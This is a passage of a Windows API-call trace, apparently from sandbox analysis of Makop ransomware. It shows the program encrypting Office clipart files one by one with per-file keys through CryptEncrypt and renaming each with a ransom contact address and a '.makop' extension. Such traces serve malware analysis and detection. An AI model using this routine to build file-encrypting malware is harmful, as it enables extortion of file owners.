0x48bdf90 [0128.495] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.495] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.495] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0128.499] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.499] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.499] GetProcessHeap () returned 0x48a0000 [0128.499] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.499] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.499] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.499] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.500] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.500] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.500] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.501] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.501] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x207a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x207a, lpOverlapped=0x0) returned 1 [0128.502] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2080, dwBufLen=0x2080 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2080) returned 1 [0128.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.502] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2080, lpOverlapped=0x0) returned 1 [0128.502] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.503] SetEndOfFile (hFile=0xf0) returned 1 [0128.680] GetProcessHeap () returned 0x48a0000 [0128.681] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.681] GetProcessHeap () returned 0x48a0000 [0128.681] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.681] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.683] CloseHandle (hObject=0xf0) returned 1 [0128.683] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1 [0128.683] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0128.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.687] GetProcessHeap () returned 0x48a0000 [0128.687] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.687] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.687] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.703] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.703] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.703] GetProcessHeap () returned 0x48a0000 [0128.703] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.703] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.703] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.704] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.704] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.705] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x72f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x72f8, lpOverlapped=0x0) returned 1 [0128.707] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7300, dwBufLen=0x7300 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7300) returned 1 [0128.707] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.707] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7300, lpOverlapped=0x0) returned 1 [0128.707] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.707] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x73d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.708] SetEndOfFile (hFile=0xf0) returned 1 [0128.715] GetProcessHeap () returned 0x48a0000 [0128.715] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.715] GetProcessHeap () returned 0x48a0000 [0128.715] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.715] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.717] CloseHandle (hObject=0xf0) returned 1 [0128.717] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1 [0128.717] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0128.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.718] GetProcessHeap () returned 0x48a0000 [0128.718] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.718] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.719] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.719] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.719] GetProcessHeap () returned 0x48a0000 [0128.719] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.719] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.719] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.719] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.723] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.723] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.723] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.723] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.724] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.724] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.724] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.724] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.724] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5350, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5350, lpOverlapped=0x0) returned 1 [0128.726] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5350, dwBufLen=0x5350 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5350) returned 1 [0128.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.726] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5350, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5350, lpOverlapped=0x0) returned 1 [0128.727] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.727] SetEndOfFile (hFile=0xf0) returned 1 [0128.735] GetProcessHeap () returned 0x48a0000 [0128.735] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.735] GetProcessHeap () returned 0x48a0000 [0128.735] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.735] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.737] CloseHandle (hObject=0xf0) returned 1 [0128.737] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1 [0128.737] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0128.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.738] GetProcessHeap () returned 0x48a0000 [0128.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.738] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0128.748] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.748] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.748] GetProcessHeap () returned 0x48a0000 [0128.749] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.749] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.749] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.749] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.749] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.749] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.750] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.750] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.750] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x48be, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x48be, lpOverlapped=0x0) returned 1 [0128.752] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x48c0, dwBufLen=0x48c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x48c0) returned 1 [0128.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x48c0, lpOverlapped=0x0) returned 1 [0128.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.753] SetEndOfFile (hFile=0xf0) returned 1 [0128.761] GetProcessHeap () returned 0x48a0000 [0128.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.761] GetProcessHeap () returned 0x48a0000 [0128.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.761] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.763] CloseHandle (hObject=0xf0) returned 1 [0128.763] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1 [0128.763] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0128.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 